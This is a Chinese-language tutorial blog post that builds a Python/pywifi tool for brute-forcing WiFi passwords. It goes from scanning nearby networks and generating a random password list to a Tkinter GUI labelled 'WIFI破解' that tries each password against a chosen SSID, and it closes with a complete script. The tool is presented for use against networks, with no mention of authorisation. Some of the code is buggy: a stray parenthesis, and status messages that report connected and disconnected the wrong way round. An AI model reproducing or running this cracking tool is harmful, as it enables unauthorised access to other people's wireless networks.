python破解wifi密码

第一步:判断自己笔记本电脑是否有无线网卡

import pywifi
from pywifi import const                  #引入一些常量
#判断是否有无线网卡
def gic():
    wifi = pywifi.PyWiFi()                #创建一个无线对象
    #print(wifi)
    ifaces = wifi.interfaces()[0]          #获取无线网卡,一般是电脑的第一块网卡
    print(ifaces)                          #输出自己的网卡信息
    print(ifaces.status())                 #判断自己的网卡是否处于连接状态
    if ifaces.status() == const.IFACE_DISCONNECTED:
        print("已连接")
    else:
        print("未连接")
  #程序入口
if __name__ == "__main__":
    #函数调用
    gic()

执行结果:

python破解wifi密码_第1张图片

第二步:扫描附件的wifi

import pywifi
from pywifi import const    
#扫描附件的wifi
def bies():
    wifi = pywifi.PyWiFi())                 #创建一个无线对象
    iface = wifi.interfaces()[0]            #获取无线网卡,一般是电脑的第一块网卡
    res = iface.scan_results()              #扫描附近wifi
    #print(res)                                 
    for data in res:
        print(data.ssid)                    #获取扫描之后的结果

#程序入口
if __name__ == "__main__":
    #函数调用
    bies()

执行结果:

python破解wifi密码_第2张图片

第三步:创建简单窗口

#创建窗口
root = Tk()

#窗口的标题
root.title("WIFI破解")
#窗口的大小  小写的x  #窗口的位置
root.geometry('500x400+550+260')

#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置  定位 网格布局  pack 包  place 位置
label.grid()

#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)


#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)

#按钮
#button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)
button = Button(root,text = '开始破解',width = 20,height=2)
button.grid(row = 2,columnspan = 2)



#显示窗口  消息循环
root.mainloop()

执行结果:

python破解wifi密码_第3张图片

第四步:密码字典生成

import string as st  #导入字符
import random  #导入随机函数
passwordrange = st.digits + st.ascii_letters # 生成字符串
#定义函数
def ran_pass(num):
    letter = ""
    for i in range(num):
        letter += random.choice(passwordrange)

    return letter
def wri_pass(passwd):
    path = r"I:\pythonfile\0918\wifipwd.txt"
    with open(path,"a") as des_file:
        des_file.write(passwd+"\n")
if __name__ == "__main__":
    for i in range(10):
        passwd = ran_pass(8)#调用函数随机生成8位密码
        print(passwd)
        wri_pass(passwd)

执行结果:

python破解wifi密码_第4张图片

第五步:读取密码本

def readPwd():
    #获取wifi名称
    path = r"I:\pythonfile\0918\wifipwd.txt"
    file = open(path,"r")
    while True:
        try:
        
            mystr = file.readline()      #读取密码本
            if mystr == "":              #读取到最后一行,结束读取
                break
            else:
                print(mystr) 
        except:
            #跳出当前循环,继续下一次循环
            continue
if __name__ == "__main__":
    readPwd()

执行结果:

python破解wifi密码_第5张图片

第六步:密码破解

import pywifi
from pywifi import const
import pywifi
import time
def wificonnect(str):                                      #str传入密码本
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #print(ifaces.name())
    ifaces.disconnect()
    time.sleep(1)

    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = "wcp"                                #wifi名称
        profile.akm.append(const.AKM_TYPE_WPA2PSK)          #WiFi使用的加密算法
     
        profile.key = str                                   #wifi的密码 
   
        profile.auth = const.AUTH_ALG_OPEN                  #网卡的开发

        ifaces.remove_all_network_profiles()                #删除所有的wifi文件
        
        tmp_profile = ifaces.add_network_profile(profile)   #设定新的连接文件
        ifaces.connect(tmp_profile)
        time.sleep(4)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已经连接")        

执行结果:

python破解wifi密码_第6张图片

完整代码过程

from tkinter import *
import pywifi
from pywifi import const
import pywifi
import time

#导入模块
#获取第一个无线网卡
#断开所有的wifi
#读取密码本
#设置睡眠时间

#测试连接函数
def wificonnect(str,wifiname):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    #print(ifaces.name())
    ifaces.disconnect()
    time.sleep(1)

    if ifaces.status() == const.IFACE_DISCONNECTED:
        profile = pywifi.Profile()
        profile.ssid = wifiname
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#加密算法
        #wifi的密码
        profile.key = str
        #网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的连接文件
        tmp_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tmp_profile)
        time.sleep(4)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已经连接")


def readPwd():
    #获取wifi名称
    wifiname = entry.get()            #获取文本框输入的WiFi账号
    #print(wifiname)
    path = r"I:\pythonfile\0918\wifipwd.txt"
    file = open(path,"r")
    while True:
        try:
            #读取密码本
            mystr = file.readline()
            #print(mystr)
            if mystr == "":
                break
            else:
                #print(mystr)
                #测试链接
                bool = wificonnect(mystr,wifiname)    # 调用账号和密码匹配函数
                if mystr == const.IFACE_CONNECTED:
                    bool = True
                if bool:
                    #print("密码正确",mystr)
                    text.insert(END,"密码正确"+mystr)
                    text.see(END)
                    text.update()

                else:
                    #print("密码错误",mystr)
                    text.insert(END,"密码错误"+mystr)
                    text.see(END)
                    text.update()

        except:
            #跳出当前循环,继续下一次循环
            continue


#创建窗口
root = Tk()

#窗口的标题
root.title("WIFI破解")
#窗口的大小  小写的x  #窗口的位置
root.geometry('500x400+550+260')

#标签控件
label = Label(root,text = '输入要破解的wifi名称:')
#位置  定位 网格布局  pack 包  place 位置
label.grid()

#输入控件
entry = Entry(root,font = ('微软雅黑',20))
entry.grid(row = 0,column = 1)


#列表框控件 columnspan 组件所跨越的列数
text = Listbox(root,font = ('微软雅黑',15),width = 40,height = 10)
text.grid(row = 1,columnspan = 2)

#按钮
button = Button(root,text = '开始破解',width = 20,height=2,command = readPwd)   #   点击按钮触发事件
button.grid(row = 2,columnspan = 2)


#显示窗口  消息循环
root.mainloop()

执行结果:

python破解wifi密码_第7张图片


  • 灯塔
  • 风声吹动风声,叹息穿过叹息----
  • 当船队侧身而过,灯塔恋恋不舍,
  • 在茫茫黑夜里,在荒凉的瀚海中。
  • 血养荆棘,花开似锦。
  • 你可能感兴趣的:(Python)